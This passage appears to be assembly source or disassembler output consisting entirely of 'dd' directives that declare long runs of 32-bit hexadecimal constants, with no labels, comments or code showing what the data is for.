		dd 0C0C5FE00h, 0F60700E5h, 68ED80D5h, 6990EB28h, 66A6DE25h
		dd 0AF42D39Ah, 4939702Dh, 0C2FAE54Ah, 288D9F5Eh, 0D2381284h
		dd 0C1D1D2DEh, 98DDF65Fh, 406037Ch, 50CD07FEh, 0B1287BB4h
		dd 64213BE9h, 0F9E4CF75h, 84848FBDh, 20AB90ACh,	5828EE28h
		dd 102B9E48h, 912CD79Bh, 0DABB3FD2h, 0C49A1DAFh, 39880341h
		dd 3A87C5CDh, 80F5DCB8h, 0C7C229Bh, 2663BEE6h, 24F1E90Bh
		dd 3304587h, 0F93788DCh, 91F8E1h, 31A8DB9h, 0F1817019h
		dd 77CA3692h, 0B4050255h, 4E705202h, 66D5B505h,	67680AFEh
		dd 8E92D64Eh, 87CF35ACh, 6F71EFF2h, 0A97411E9h,	0BAA99056h
		dd 5C929D27h, 0FAC74E68h, 0F3306881h, 1B325C8Ch, 0B49F503h
		dd 0CA093E08h, 73C1BF7h, 5413E97Fh, 5D322CBAh, 0A32942FAh
		dd 0A02B2811h, 683ECAE3h, 95B0DBDDh, 58277A7Ah,	6A4D9D4Ch
		dd 6ADCF64Eh, 190D0F32h, 377F4883h, 30D80726h, 0B2525B3Dh
		dd 0B353FA03h, 74472C3Bh, 7DCCFB1Bh, 0E9D07B28h, 0BA155A70h
		dd 0E0309F43h, 0BDB35EF2h, 71F1CC8Bh, 0F021C275h, 0EDE4CC55h
		dd 28002D7Ah, 29AEA48Fh, 1AB12EF9h, 42CEE62Fh, 89BD109Eh
		dd 2DCC1C8Bh, 720ADC2Dh, 2F7178F3h, 0ED3C09Ah, 777822AFh
		dd 9DCD4CF9h, 0D7224C25h, 0FBE77496h, 0E1ED2629h, 0C1297830h
		dd 0F6D0C669h, 4670E8D6h, 2F13E6B5h, 107141C7h,	0A10CA889h
		dd 158C1D1h, 8B9456Bh, 0A8BB0E55h, 0AE57D004h, 331F3290h
		dd 9051E436h, 3C270947h, 40E02EB9h, 1B0EE781h, 0C0521955h
		dd 0FE3A5AC7h, 2701BC05h, 9232D4D6h, 0F41AD5AAh, 55805142h
		dd 7FE7466Fh, 0FDE1895Eh, 26AD50CEh, 1604517Eh,	0F22E934Ah
		dd 14D1BE93h, 55E12E29h, 0DF9BA9CEh, 8BFEFB32h,	883077E9h
		dd 9D3073F9h, 68068271h, 0CC274A4Ah, 1E3986A3h,	0E68101A2h
		dd 47A966F6h, 8BBDC442h, 4C0F405Fh, 469F9E27h, 12F21F4h
		dd 272394F7h, 0FBE048E9h, 0ED2F6851h, 8364714Dh, 69C34FEBh
		dd 263DE27Fh, 87B99EF9h, 314D3A44h, 5C5D30C2h, 13EE81EAh
		dd 6BB11989h, 15086912h, 3C6805B3h, 0C22FF87Fh,	5DCD4D87h
		dd 0B27D0840h, 0A4DD3226h, 0C66F1402h, 13835F3Bh, 5D7A18B0h
		dd 61B2BB5h, 0BDB59053h, 9090863Ch, 1E262C49h, 20958C3h
		dd 0C2C89BC2h, 3FCB70AFh, 858EBC0h, 951171Fh, 0AF7C3573h
		dd 162FF452h, 0C2DFB25Dh, 0F4E8B8E9h, 0C896BBF7h, 0D4211964h
		dd 1D6AE8D8h, 627D0CC0h, 392952D6h, 0DAE9C8h, 5453BE8Ch
		dd 467B0604h, 20B4E227h, 74866337h, 9544F683h, 41DCEB09h
		dd 932E858h, 0C6E910F3h, 50EB6629h, 4802E44Ah, 5059C828h
		dd 6F8741A0h, 418AA888h, 2C31ED80h, 0F921D267h,	0C92BE20Ah
		dd 42297BF8h, 3B31D92Ah, 0A22E48DDh, 799125FBh,	7A3110ECh
		dd 5193A42Dh, 80B901B4h, 6EC28BA1h, 0FDB5CF87h,	0C3D0A0E8h
		dd 8F499192h, 753F2240h, 697B3309h, 0C026F459h,	4499E9CEh
		dd 0C04046B5h, 0EF306CB2h, 0D507F74Dh, 455EB850h, 0D8816857h
		dd 0E0C8E8D1h, 4A230105h, 2D482A99h, 0FB3C435h,	4EC52926h
		dd 0DBE8E916h, 77CDFAA4h, 2C88157Dh, 0F0853E0Ch, 0F0149049h
		dd 0D122556h, 0C993C9DCh, 8F057B0Bh, 762A45B8h,	6F08E516h
		dd 0EF803D98h, 0D14E38A3h, 5F49FE31h, 0A7EC4040h, 0BF577F40h
		dd 9D08C7ECh, 2E498E7Eh, 6606031Bh, 123C3440h, 1F38005h
		dd 891A3526h, 4A4C90DFh, 0F55BD09Bh, 120446BEh,	15BDA31h
		dd 0D9C3FA81h, 82E3273Bh, 0B1571745h, 0D3C9590Eh, 22301EA8h
		dd 0F3977F5Ah, 0F66842Ah, 464488B3h, 696829CFh,	8545B35Ah
		dd 76E9B043h, 0F7E732B6h, 0CCC05F1Ch, 6EBD1BBDh, 8B129CEBh
		dd 0F1C50FCCh, 3ABF9120h, 9145C97h, 44F215D9h, 0E253978h
		dd 0C7155496h, 7529C36Fh, 3D7E83F2h, 557E08Fh, 9D20DA6Bh
		dd 90B433F7h, 0A8F31C0Fh, 817A5D29h, 62E5A5C3h,	540020A1h
		dd 112A4C1Dh, 0C63BB649h, 5768128Fh, 92C7E916h,	70454E09h
		dd 0D54DB57Dh, 899DFBA8h, 8330F5B4h, 9B95F007h,	0EE4DC9D4h
		dd 0D9A0243Bh, 12F432FDh, 0F9A322BBh, 93C925Bh,	0CA81D6A0h
		dd 281F3578h, 0EA094A29h, 0F34EC8F2h, 0E1E89FF5h, 2A4FE7CAh
		dd 0B1A00504h, 0BA6C9B4h, 4F12704Bh, 2B173FD8h,	7C017F63h
		dd 51801026h, 0FD7C6378h, 4C67192h, 800FCF67h, 200D15FBh
		dd 0D30C6760h, 36066356h, 86B1F189h, 3B831B30h,	3BCB70C1h
		dd 0E10E9812h, 0D66284h, 2F4CE9A8h, 0A6EA8875h,	0C5315489h
		dd 0E85C7593h, 4A0BA2A6h, 95185569h, 431327C3h,	0C6AC47ACh
		dd 482E1A10h, 5657052Fh, 1E807F0Fh, 6BF38E7h, 0E9F02970h
		dd 501E4B67h, 2609CFB0h, 2D147317h, 54251CE5h, 40025142h
		dd 7817C10Eh, 513FAF26h, 0C1AAD327h, 7A0F2AE9h,	6A0B4035h
		dd 93222A7Dh, 501E89CFh, 1E5D4AEAh, 0C5F15236h,	37FC65EDh
		dd 0ABD6D4FBh, 5ECB7437h, 0DB52FA31h, 4BE1D424h, 74714052h
		dd 0E4D19F31h, 0E6D7DDCFh, 3600E90h, 41558A6h, 60CDC09h
		dd 5F7407DDh, 0F71F5662h, 2408E928h, 0A90027E4h, 8A10E225h
		dd 0A7E1734Fh, 781DF7E0h, 9004EC15h, 879E4E9Fh,	0BF1904F1h
		dd 828376D8h, 440B10FFh
		dd 94199D28h, 243238D4h, 4425155Dh, 0D5EB4A6Ah,	7DB9F076h
		dd 0E42EF141h, 0D609EF2Dh, 5EAA0DF3h, 13E906D7h, 0EDBF22C6h
		dd 50D4A7C7h, 4AB8BE40h, 92124885h, 0D62D6906h,	1D020C10h
		dd 19F80B1h, 648075F7h,	2ADE25E7h, 2D0EA080h, 3346534Eh
		dd 73B1D9A0h, 62BD43Eh,	3119CCE7h, 33CF01A6h, 471A6F6Ah
		dd 3DF7F84Fh, 42E42713h, 525C18ABh, 0BE242919h,	8028231h
		dd 0C11B2360h, 2DD030C5h, 81450F67h, 977DDAE5h,	2DDAC1Ah
		dd 944DBFCDh, 4A5C4011h, 0A47609BBh, 2DD0B4E9h,	8E3F395h
		dd 54258E42h, 0AE41F264h, 0EA17633h, 204148D1h,	53E9FE09h
		dd 0ECE49DEDh, 220EF4C0h, 4A684923h, 11B0D1F8h,	895D2C10h
		dd 900B4651h, 0B85E4A41h, 0CEA59682h, 4F105A59h, 97B8D8E9h
		dd 90BD995Bh, 684D0CBCh, 0E2ABE6C5h, 20CF5812h,	9F3DA4FDh
		dd 4C912E1h, 612000FBh,	2858C788h, 7A5EF87Eh, 6BACDC84h
		dd 75E31A5h, 0B26A181Dh, 0B1B8046Ch, 907B3A1Fh,	522B0D90h
		dd 0E974331Eh, 2DD70527h, 592854E9h, 94135952h,	8DC83116h
		dd 78A42171h, 1DF35AEAh, 8CBE13D2h, 9D41AEFDh, 0B2E5DF2h
		dd 3A0AF562h, 32D7F6E1h, 0B6C4217h, 0DAE8E9C3h,	0FB144021h
		dd 0D924E295h, 76B680B2h, 8007EEC0h, 0E8C2D6E7h, 69899627h
		dd 57A69A7Fh, 2EAC6A15h, 670B8085h, 0B0F47B81h,	0A35A1967h
		dd 715C26DEh, 68B9E209h, 1D03E8C7h, 89591DFDh, 6C62E91h
		dd 2B508A0Bh, 0DC5989F9h, 3A37889Ch, 3DE6D125h,	0C0212Fh
		dd 340B3540h, 0D042B10Bh, 5483B93h, 6DD5958Bh, 0ECF82B85h
		dd 0B652C07Ch, 50CE80ABh, 12588647h, 0AE8444E9h, 0C1607A39h
		dd 1FE360D3h, 8E2148CAh, 48DD0358h, 2977002Bh, 0E1C12632h
		dd 90495B02h, 5AD7F15Fh, 7E75693Bh, 0E371790Fh,	70DDC962h
		dd 4A042724h, 5BE8E658h, 68660AC0h, 2DE93E6Ah, 18533B8Ah
		dd 5F00ACA4h, 0E94DC935h, 0D5F06899h, 38B59DF9h, 479B9970h
		dd 11A1E252h, 99CB995Fh, 0E430FA75h, 124DB85Dh,	0B169371Dh
		dd 0EF3A41A8h, 1BDEC3Ch, 61A3D34Eh, 0E744BE93h,	0D9940CE9h
		dd 5F978BABh, 0E9C2EAB6h, 9C482660h, 47985FFBh,	89E15B5Eh
		dd 64638848h, 0B2E8ABA1h, 0C3318447h, 40FBAD85h, 69BB536Ch
		dd 680C5779h, 0AA06EBC1h, 1202E2CDh, 0F0DA2978h, 16182DEAh
		dd 703C6A9Bh, 4FAD3F40h, 0BFAFAB4h, 850C5F08h, 2502A752h
		dd 9DE91544h, 48BA9BB5h, 0CB5AD1C7h, 85C12ABh, 7949FD91h
		dd 340B8804h, 713CEA41h, 661455A6h, 221FAB0Fh, 0B27B972Ah
		dd 1B271E9Fh, 0BFEB2F8h, 0E535C100h, 81024644h,	4D32BBC6h
		dd 850E5D13h, 1804EE66h, 3621A001h, 5EF3310Eh, 96357870h
		dd 19586274h, 0ADA24282h, 9EF38001h, 2368BA31h,	5A5B7774h
		dd 6801675Fh, 0D60BE724h, 5A9399E7h, 404FDF30h,	2AB05EC1h
		dd 2D78130Dh, 7CCE8761h, 0B2AC0CD8h, 2A70EB71h,	0C375CB75h
		dd 0AC7C2B8h, 1E8D280Ch, 9C0606D7h, 1CAAB050h, 25E96940h
		dd 1A2006F6h, 758C4D1Eh, 7D4909F6h, 0CA529F9Ch,	5DEE3143h
		dd 61FEF556h, 4370314h,	0D67EE1C0h, 9B050546h, 0AB3B6E4Fh
		dd 0C112488Bh, 2F6DF4B5h, 0E0A74FBCh, 9474B2Ah,	388770Bh
		dd 70242C53h, 27E77815h, 84936BDAh, 45B19B8h, 0F9D59F76h
		dd 626704DCh, 4BF8C128h, 85CB294Bh, 1C68585Fh, 0B8D2E2ECh
		dd 0F50C16A0h, 0D1D277FCh, 2FCD2B75h, 28345759h, 40385824h
		dd 0F80001DFh, 0E39B52Dh, 0E4685F67h, 42C69F1Dh, 314C0204h
		dd 0B4874974h, 455E2CA0h, 0AD0D34E9h, 468F8243h, 0FD9FDCAh
		dd 622F13ACh, 4AE57D3Eh, 9B89D4A6h, 152F9C8h, 71D5AEBBh
		dd 87B22EAFh, 61B2680Ah, 3D87A423h, 0E302D212h,	1348005Bh
		dd 0E3C17AE2h, 58E91703h, 0CCE8FC10h, 975131CAh, 9E48337Bh
		dd 0EC6339A5h, 0F94FE908h, 57588609h, 3FD62814h, 4D521D13h
		dd 97C3D0F0h, 2A551A8Dh, 8450D40Fh, 85B89615h, 0F079129Eh
		dd 0B30253EDh, 0E0CB8085h, 0C57A40FEh, 0E51197B2h, 0C45BE457h
		dd 0ACD489Fh, 5DF1979Fh, 0BA2605Ah, 2968E831h, 92A86596h
		dd 0E60FF053h, 0C8A86A37h, 0D51E09B8h, 0B62D856h, 62B202C0h
		dd 5A13F9F4h, 95C00F67h, 0D6EA9EE9h, 0FA00AA9Dh, 94A71721h
		dd 69C10005h, 0D72D12BAh, 4A5E4535h, 71FF3C4h, 3DB01128h
		dd 58317D40h, 513C8FEh,	0FCAE143Ch, 0C7175907h,	0E1E1677Eh
		dd 0F063262Ah, 4EEA05E9h, 0C110EF5Eh, 93783F82h, 24A81092h
		dd 0B608ED28h, 0E5C1502Bh, 0E7340867h, 2D0AFCA0h, 3A243D20h
		dd 5E8298Ah, 418C2007h,	0C7A72ABEh, 0BD4A354Ch,	41FC76A4h
		dd 2F129DEAh, 16B030E9h, 0CEEB945Bh, 0D7F7FD81h, 0EF90D331h
		dd 0AE6273E9h, 75FC882Ah, 0D3282C68h, 8441B6A2h, 23E92001h
		dd 0D6ACB5D6h, 7810F307h, 98C40FEDh, 4F32B2ACh,	29BBE434h
		dd 143C6B43h, 811B130h,	571975D7h, 44682B5Ah, 0B31667D5h
		dd 7F200520h, 0EEF58488h, 7E7C008Ah, 826998C2h,	8B147D96h
		dd 17E95509h, 1FE2D122h, 4599AF4Ch, 9B6265Bh, 4616AC68h
		dd 3D0F002Dh, 0F68178C7h, 6E3B4D13h, 18EE030Ah,	5E72A970h
		dd 5009A43Eh, 8AE4B84Ah, 296AF929h, 85807EC8h, 34038931h
		dd 23EF329h, 0E052E908h, 5C27B745h, 5A6809B1h, 0B8386742h
		dd 8A6959E9h, 6B977434h, 4B3FC5F4h, 7D1070B7h, 14A86ECAh
		dd 89D00F17h, 812CE418h, 0BD3C31FFh, 2251F0F1h,	55A58BBDh
		dd 49B80093h, 80E7D445h, 832C5A26h, 0BCE4E927h,	0D83005FAh
		dd 3A74AE8Bh, 405094F0h, 1C1CB88Eh, 0C1DF0C68h,	2B0D0600h
		dd 3E0A9E3Eh, 0B5181A05h, 17195E3Ah, 5249D601h,	0D57110BAh
		dd 0B08043D6h, 0B00E032Eh, 368F1F6Eh, 5C0CF091h, 40172C32h
		dd 86F022E9h, 76FB9589h, 0E9B040E9h, 0C0FA546Fh, 0DBE09F1h
		dd 20551A2Eh, 947D2A93h, 0C10CC729h, 18EA0CDh, 0ED5EE9CBh
		dd 41EE28B5h, 0C16594A0h, 13596A96h, 24535265h,	1E8AAED2h
		dd 162211D2h, 0D136E9E0h, 2AFD239Dh, 2B171032h,	405D2574h
		dd 9B456800h, 0B9E904C9h, 0C38EFA03h, 0A216B758h, 0C0F634B3h
		dd 464B5CCBh, 0FA4B147Eh, 1E8DE3F4h, 890DFE59h,	0C9183354h
		dd 296EBC68h, 0A1C80D8Bh, 0BE429B21h, 0E9885ED4h, 73D0E690h
		dd 50EA1DC0h, 0BF440F21h, 243EC7E0h, 0A760E9BFh, 0B55D0474h
		dd 6886AD45h, 207D59B1h, 43BDA92Dh, 62E1DCAh, 6236182Ah
		dd 0E225422Fh, 0A03DD413h, 141CD008h, 4CD9350h,	0E933E816h
		dd 0B90F88Ch, 5E62F180h, 57B75099h, 0C9F92824h,	0BB6C8527h
		dd 0F14A52AEh, 0B2603A41h, 5E2D6856h, 2CEB3030h, 7409D553h
		dd 0F3048EE9h, 0A960AD49h, 0A75003A5h, 7E6EDE86h, 9E32AA92h
		dd 27ECBE81h, 51303750h, 5903048Eh, 0AF4AE90Fh,	10FCE916h
		dd 28E24185h, 0F05C01C5h, 0A0C52D42h, 0E8C05ABFh, 0C8FE2602h
		dd 59D2EC7h, 0E03E985h,	0F1E9D71Bh, 0ADB48178h,	2F497ADAh
		dd 4D9A2118h, 68049665h, 68BB1FA1h, 0F235E995h,	1FFB6EF6h
		dd 8CF5857Ch, 21D9C0D2h, 0A4981C6Fh, 738C924Fh,	745E0E84h
		dd 23CF5F3Dh, 0F24B49F8h, 0CC808F94h, 5715629h,	0D71E1E8Bh
		dd 13B02E3Dh, 4A79A84Dh, 7279A571h, 0C5E41A68h,	0C0516ACh
		dd 0B827669Fh, 40FCDA9Dh, 899F4629h, 0DA1EFD54h, 1075BDAAh
		dd 0C8D268E8h, 7D092CD1h, 763D1A0Ah, 60DFC222h,	61BC14CCh
		dd 0C598E849h, 0EE53BCE0h, 914CD34Dh, 0E15B0BDCh, 4827629Fh
		dd 3B127404h, 27F02C3Ah, 9BE93D50h, 810D3DFh, 0F911AA6Ah
		dd 745DA73Fh, 0C4F1C508h
		dd 2834F0A4h, 139649Eh,	53F604D1h, 0F06BD0B7h, 4025E9BCh
		dd 405F5E18h, 616B023Ch, 14E2BE98h, 0E9528305h,	6788FE0Fh
		dd 7A270445h, 0F0432D76h, 9B0535FCh, 0F7753B6Eh, 89FEE505h
		dd 4A7823E2h, 69E1149Ch, 0B586917h, 2C56F780h, 2DE77625h
		dd 1F4BA9F0h, 4B250431h, 0C02B6EE9h, 125374E8h,	93155Ch
		dd 1E3A5FD8h, 82F934E9h, 24576055h, 9DB7BE85h, 2F5DCB50h
		dd 183FAE54h, 0F11DF5C3h, 0EA4515D7h, 507BBC1h,	0A9522BD1h
		dd 0F21A1B93h, 0DD308DCFh, 39279447h, 8D4055BAh, 0A1463622h
		dd 923AD883h, 4CDE3908h, 5371EE81h, 0E66A1EA4h,	100548A0h
		dd 800ADD10h, 0E946CE3h, 3C1C0C3h, 0E9B15166h, 96806028h
		dd 274FB649h, 987014F9h, 7BE309DCh, 2FF708CFh, 0D118E217h
		dd 0B2E90138h, 2E5865E5h, 0B660A2B0h, 0F3FB27E0h, 1F10EC10h
		dd 72D4818h, 67B514AAh,	57F837B2h, 88376394h, 0D80516A7h
		dd 69F03CC4h, 0D8584A54h, 41188D77h, 0C89A32FFh, 165E762Eh
		dd 13D0548h, 6AE9E5E6h,	2C30497Ah, 4D2D045Dh, 728726BDh
		dd 0CE298408h, 0E581BF87h, 404C2A5h, 0AA0AA0DDh, 0BC5BB2D8h
		dd 0B9BF0371h, 0A4CFF5CDh, 0BE6DD091h, 75286A8Bh, 8950D17Ch
		dd 0D1CEA06h, 1CD645Ah,	814B0F2h, 5E2D17A6h, 9663918h
		dd 1C88BB94h, 685D0270h, 840912E0h, 0C4CBC26h, 663D5221h
		dd 37A84C68h, 9584DF74h, 2C7669BFh, 62ABD279h, 0C8699B8Dh
		dd 3B677B01h, 0D7AFB3D2h, 123E9645h, 0BBACBD8Ah, 5B5453C2h
		dd 0D10E65D4h, 54A2912h, 8B074227h, 0B515ED2Bh,	0CA24C4AFh
		dd 1328489Ch, 1AE71F12h, 8F1A247Bh, 6EE9771h, 77B26B6Fh
		dd 0AB40AF9Fh, 250B5588h, 0F6408275h, 6202C2DAh, 86A9D57Ah
		dd 742723FCh, 9D07A866h, 294F72D2h, 4A9B7EA0h, 0D534A4DAh
		dd 2FAB1213h, 9C7100ECh, 13E989A1h, 0ED9DF8F0h,	3F6805F7h
		dd 5E5D813h, 0CB5003E3h, 6859DD8h, 3AADDBAFh, 0A764E8CBh
		dd 0C02EA53Bh, 0C3DF31EDh, 0D1F7CF8Ah, 0C781081Ch, 691E2781h
		dd 4A3847E9h, 91BE5641h, 896EB026h, 1AD8DBF6h, 19F38024h
		dd 0BE80A812h, 0F0BC0458h, 0C8C25BADh, 0B6F25437h, 56AD324Ah
		dd 0E93012A6h, 5752A16Ch, 0B8BF1E66h, 0A7B9CD26h, 0DCB0204Dh
		dd 0FBADF740h, 757E20D5h, 7F12BD54h, 4993735Dh,	5417DF9Ch
		dd 13B613A4h, 4DEF640h,	85C0F56Fh, 4EF88228h, 5B50917Dh
		dd 0C892A22Fh, 0D06360Ch, 8864BCA8h, 62E9020Ah,	92C9A06Eh
		dd 0AF4C5627h, 0FFCF2460h, 654F0BB9h, 47EEE657h, 650D2AB6h
		dd 5B188048h, 88C09A77h, 3157AC9h, 3086F970h, 2472733Dh
		dd 49345012h, 8C225846h, 1DC6055Fh, 0FF278B7Dh,	51A23120h
		dd 7F394034h, 69905B3Ch, 6DEA821Eh, 5FE6D293h, 0F305855Fh
		dd 279222D6h, 3BE0E789h, 5B984C9Ah, 0B316B972h,	0ACE19576h
		dd 7462123Ah, 9F94E8A3h, 0AAC7E984h, 0FBF5E5ADh, 7CA08465h
		dd 3E7B41ABh, 0C126C9C8h, 0BC685113h, 0A4AD9871h, 14E18071h
		dd 8FC1FE03h, 20BEB40Fh, 9A41AC3Dh, 4AC38733h, 6F0E28AAh
		dd 112AABC7h, 0E560EDD9h, 29192DC2h, 882B958h, 0B7306274h
		dd 9502AFEEh, 40BFD550h, 97A86C2Dh, 23C71D20h, 4F714D9Dh
		dd 0F8FE5379h, 68E7B592h, 1566C1B7h, 35692305h,	0F3200841h
		dd 38739D2Ch, 60055092h, 25C08894h, 0D405E8C0h,	0BF104506h
		dd 25400AE6h, 1017C6ABh, 697A2E1h, 1A00006h, 0C709FF71h
		dd 8881E595h, 4828EDC8h, 0A7629508h, 1F630F42h,	6F0C332Ch
		dd 68AA600Bh, 0C2D44051h, 0D8C5141Ch, 5150E4D7h, 0F040F3ECh
		dd 6056548Ah, 5DA10C40h, 1680EB8h, 26260829h, 0E3BF1420h
		dd 232E4004h, 1F995EE9h, 0C2937Ah, 0BA44F1BFh, 0F6068167h
		dd 7DAA3F5Bh, 0A62B9684h, 0F8C8329Eh, 0B65A4EDFh, 0B0756B88h
		dd 826C81DCh, 77D9E660h, 0FEB80CCBh, 58C1426Fh,	0AD846777h
		dd 9ACBF8F4h, 0DD5DC189h, 204E5D01h, 6039ACC4h,	0BD5501D4h
		dd 7F760BAEh, 12AB0120h, 0F46F4C22h, 88FCAD02h,	0F51C627Eh
		dd 4DD7DF55h, 0C2E948C3h, 0FD5F4A76h, 63211B16h, 10F8A65Ah
		dd 28513BBCh, 22EFFD07h, 0F9884F1h, 8C3420E5h, 6F06F6BEh
		dd 0F16B3B80h, 65F69AD0h, 69A3314Fh, 0E37320C5h, 0BDA254Bh
		dd 0A786E5E1h, 4127C07Ah, 6255DC2Eh, 6803C8ECh,	64FB8C61h
		dd 9AC4722h, 168B965Fh,	0E9FEA19Dh, 3E559A5Ah, 0E17EF309h
		dd 28204726h, 7C1E7A3Bh, 0D4EE20BAh, 5FFE0912h,	1775D400h
		dd 0F3297366h, 143FD471h, 0C12C44A3h, 0B2B55402h, 0C992D776h
		dd 51F059E6h, 5F1649BCh, 0FC062E2h, 0FFE9C8AFh,	869A1859h
		dd 0FC0B5451h, 9F1FBA80h, 6831AF31h, 11895EEAh,	6B192F88h
		dd 0F30109h, 0D326D0E5h, 29E0B703h, 4FC9E0E9h, 2D1C80C1h
		dd 60CA534Ch, 0E905105Eh, 0B2B77BD1h, 0ACD74FE5h, 32FE21C1h
		dd 0EB5FBD9Ah, 0CE16E948h, 6884906Eh, 0EBA6019Ah, 3F6BF83h
		dd 2D645658h, 8A6F095Dh, 8456B7C3h, 0A3A7B5B0h,	0FB61AB31h
		dd 7272ED58h, 6AF933E2h, 6F22D898h, 0D1039D29h,	19A111C1h
		dd 180C8045h, 0E972E521h, 9168E5F0h, 2857C9Fh, 5E17C268h
		dd 8C0F885Dh, 2880B603h, 0A73FCAF4h, 32C56482h,	276A1483h
		dd 52024810h, 5A01A701h, 0C2E0F389h, 5B929F84h,	12E79504h
		dd 0D8EEE5C4h, 0A0973EA7h, 0E868E789h, 2219C92Dh, 88516721h
		dd 78E02EC1h, 0EEC00358h, 68B35303h, 28E0458Eh,	0D98ABAC9h
		dd 39ED2CDFh, 0FF70D32Fh, 0F1B86DE4h, 38E91708h, 646806B1h
		dd 40206D7Bh, 0C2892DB3h, 7E878C74h, 0B82A5329h, 0E4B09412h
		dd 8ACFA128h, 40A24624h, 900BB99h, 0F74B3558h, 9BF168D3h
		dd 73BF0055h, 0E933470Eh, 0FFE17710h, 40A2A340h, 11C466F9h
		dd 8FBEA782h, 0E55B2505h, 6FB80FD7h, 3503E8C0h,	3A0A17E4h
		dd 665BE941h, 27D75B2Fh, 0DBF74368h, 60EBC204h,	7909FE01h
		dd 897D40ABh, 72E782FAh, 78507E16h, 6D044EE6h, 1C05E946h
		dd 2CDCCDAFh, 288A4405h, 0EDD7C550h, 0D5F60514h, 0C58628D9h
		dd 9CCC9151h, 582D190Ah, 51662CC3h, 0E1391651h,	70396E99h
		dd 8740CF68h, 9591702Ch, 0B9863F60h, 6ACA1683h,	8A77FBC5h
		dd 0A6BDD8B2h, 600EE289h, 68F625AEh, 357BF832h,	3984D72Dh
		dd 2D69D22Eh, 0AB68DE17h, 0F4822274h, 622DF02h,	5E01BBF8h
		dd 59CCF289h, 0A0FA6201h, 15717ED6h, 3FEC5B12h,	0B6DCCCA4h
		dd 0BAF3C84Fh, 68575080h, 32471FEh, 0CF00F20Fh,	6941478Eh
		dd 8E0955E9h, 0BDBDB5EFh, 0A94A3448h, 61FBD6C0h, 7CFEE9DDh
		dd 0CABD0301h, 0D25B9919h, 9904A87h, 0BABED797h, 2C694A33h
		dd 0BDDEFE57h, 0ABFA4952h, 48EB914Dh, 92B24EA9h, 4BB13C99h
		dd 421422B9h, 54974325h, 2F610212h, 0FD015E0Eh,	0C1C3452Bh
		dd 0EA5EFA20h, 0C4047C4h, 83CC700h, 312E02FFh, 0B582CFAh
		dd 840F0BC9h, 34A20664h, 860917F8h, 1D85EDF3h, 9828CEF6h
		dd 2C220C6Ah, 5C993125h, 457597BAh, 11555986h, 277EBF74h
		dd 707E27B8h, 97BA5240h, 7C8C0014h, 5430F281h, 0F95653Eh
		dd 74BE024Fh, 0CAFBE02Bh, 77450034h, 0D0BB5351h, 7007F14h
		dd 5FDB850h, 2D4224h, 656E43BFh, 0BC295735h, 9871C4Fh
		dd 0E0F2AED7h, 7D0075A6h, 25C0CB81h, 7951E53Bh,	0BFEB4613h
		dd 0F7BC5B12h, 0E3689F12h, 0D1F81069h, 0AB97844Bh, 407D1F8Eh
		dd 9D3C61B9h, 604D2DC3h, 95FE877Fh, 9094DE8Eh, 0C0A64E7Dh
		dd 3DBBEDFh, 8117F200h,	1312F3EEh, 0E94E3976h, 96BFE9DBh
		dd 552C6AFDh, 80452403h
		dd 17966850h, 0DFF618DCh, 123D7496h, 0FAF61D24h, 3E050B58h
		dd 852B0550h, 9593EB71h, 5C4B3D9Fh, 0E2E66313h,	0EC809281h
		dd 608B5F76h, 4898A641h, 128536Ch, 88280CEh, 99DE0455h
		dd 289228AAh, 0B17CF741h, 0EAA1FE12h, 0D3932437h, 0EE370279h
		dd 0A1DEF0E3h, 3E532E1h, 0BCE1A4C1h, 0FB0CC50h,	4EC57988h
		dd 0F6F60583h, 505B70D8h, 2AD6BBB0h, 0F08D17ABh, 0E073F5CCh
		dd 0A5E1E54Fh, 7C9E57DAh, 1550595Ch, 4A56D088h,	428FBDF9h
		dd 0C0376A24h, 0C143713Bh, 0E4C0F48h, 2F6548E7h, 99F7C9E9h
		dd 0F90583DDh, 7B741061h, 7405288Bh, 0B85E201Dh, 2EE55674h
		dd 0EAFB9CC2h, 994EA21Dh, 0EAD102BBh, 5284895Dh, 6D4C09E5h
		dd 0E0D60A5Ah, 5BE402C5h, 1EE70BCFh, 7D0503A9h,	0E7C8AA06h
		dd 410B0B9Eh, 97045665h, 55D05BEh, 499A9ABAh, 6F680AD1h
		dd 0BF9AF41Eh, 0E4BCDF0Bh, 0C141E916h, 0F0153E32h, 0AF2962DEh
		dd 0F509AABEh, 0B1513181h, 0F0137B08h, 0E9DC3AB1h, 24CE5F9Ah
		dd 0EE21846Bh, 0DC30F80Bh, 0C2830F39h, 0DA1F03D3h, 0E9E0F306h
		dd 499982C6h, 0D74E973Bh, 0D858DBA3h, 0EC5BCF49h, 0A368B094h
		dd 64E7DC0Eh, 27F6BD0Ah, 0A1D3A5ECh, 81CCAA08h,	4F390CF2h
		dd 0AB02F78h, 3D240933h, 2C0EFA29h, 9939F932h, 4E03CAA0h
		dd 1AC878Ch, 30639D3Ch,	0A12BC4Fh, 33F01B39h, 5E08A1EBh
		dd 51315C85h, 0DE04811Ch, 0FE448BD8h, 3DEE85CBh, 3B8ED2AAh
		dd 88094FFCh, 0FAD502EEh, 0B85204D6h, 0F65A276Eh, 43D4AD57h
		dd 0E849E98Ah, 0F62CF5A2h, 0CC9DC8F1h, 3AB76805h, 0D433AEB1h
		dd 554C5A58h, 1F64D010h, 9A7104ACh, 405C385h, 97645ABh
		dd 0EF150759h, 55C1FB25h, 199EA041h, 8FCCEEC1h,	5CE90845h
		dd 0D1A8148Eh, 96FB5138h, 5158C412h, 807C82D2h,	283F93B1h
		dd 402EA5CCh, 129CB913h, 0AA214244h, 71122440h,	5FE90AA0h
		dd 0E37CE458h, 15DD6812h, 9104E2B3h, 802B3472h,	195EE7AEh
		dd 0D2F7270Bh, 9C62844Ah, 5F7B813h, 9ED991E3h, 0B43FACA1h
		dd 665F15DCh, 26687F20h, 0C4F7A85Bh, 310AC50Dh,	58BAFCC7h
		dd 34BF1661h, 5549A15Ah, 5425E0E7h, 4A05EFF9h, 0EF61FB30h
		dd 0FB72FCBAh, 47BA4A4Ah, 2FA028ACh, 0AD380991h, 24266F01h
		dd 7408015Dh, 0D5C259Fh, 3D65D510h, 19CB0147h, 0A8267F8Fh
		dd 0A89017ADh, 12747A20h, 0C27234B9h, 72F0EC13h, 0E830C394h
		dd 5BD701D3h, 8AA95Bh, 847D4480h, 81FA46E9h, 9AC2D8ADh
		dd 32C795h, 2ABD5551h, 364F693Bh, 0EEF5A200h, 0EC3A8E67h
		dd 8970FE5h, 0DDC20FA8h, 0AADC2BE9h, 8EC95112h,	48E61842h
		dd 144ABF6Fh, 9604505Eh, 3AC230Ch, 0E918F8BEh, 0BB3CDC1Dh
		dd 0E45007A8h, 0C3DF0902h, 550264A9h, 0EF0F2EB9h, 71DA6038h
